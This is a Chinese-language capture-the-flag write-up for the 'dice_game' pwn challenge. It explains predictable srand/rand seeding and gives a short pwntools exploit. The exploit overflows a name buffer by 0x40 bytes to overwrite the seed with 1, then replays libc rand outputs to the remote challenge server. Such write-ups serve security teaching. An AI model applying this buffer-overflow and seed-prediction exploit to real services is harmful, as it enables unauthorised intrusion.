攻防世界-pwn-dice_game(srand(),rand(),随机数)
高手进阶区 dice_game
考察知识点:
srand(),rand()函数,产生随机数。
srand和rand()配合使用产生伪随机数序列。
rand函数在产生随机数前,需要系统提供的生成伪随机数序列的种子,rand根据这个种子的值产生一系列随机数。
如果系统提供的种子没有变化,每次调用rand函数生成的伪随机数序列都是一样的。
比如:通常可以利用系统时间来改变系统的种子值,即srand(time(NULL)),可以为rand函数提供不同的种子值,进而产生不同的随机数序列。
如果srand(1),因为1是常数,不会变,所以每次调用rand函数生成的伪随机序列都是一样的。
0x01 题目分析
- 直接拖到ida,逆向得到源程序代码
main函数中,有一个read函数,输入name,然后v5=sub_A20函数,要求v5=1才能继续循环,当循环50次后,进入sub_B28函数。
进入sub_A20函数,看到只有输入的值等于随机值,才能使v5=1,继续循环。
循环50次后,进入sub_B28,得到flag。 - 做题思路
- 要想进入sub_B28函数,必须循环50次,而唯一能中断循环的条件就是,必须让v5=1,才能继续循环,
- 那么就得让随机值=输入值。(这里的随机值序列产生的种子是time,每次调用rand函数都是会变得,所以,这里就要让种子seed不变。)通过read函数输入来覆盖seed值,使其产生的随机数序列不变,然后存到一个列表中,再循环输出,就会使得输入值等于随机值。
- 要覆盖seed值,就要找其与buf的偏移量。
偏移量为0x50-0x10=0x40,即要想覆盖掉seed,必须前边有0x40的padding。payload=‘a’*0x40+p64(1) ,p64(1)就是覆盖的seed值,种子设为1,随机数序列就不会变。
0x02 exp
from pwn import *
from ctypes import *
r= remote("220.249.52.133",59494)
libc=cdll.LoadLibrary("libc.so.6") payload='a'*0x40+p64(1)
r.sendline(payload)a=[]
for i in range(50):a.append(libc.rand()%6+1)
print(a)
for i in a:r.recv()r.sendline(str(i))
r.interactive()
ctypes是Python内建的用于调用动态链接库函数的功能模块,一定程度上可以用于Python与其他语言的混合编程。由于编写动态链接库,使用C/C++是最常见的方式,故ctypes最常用于Python与C/C++混合编程之中。
rand函数要用cdll中的函数。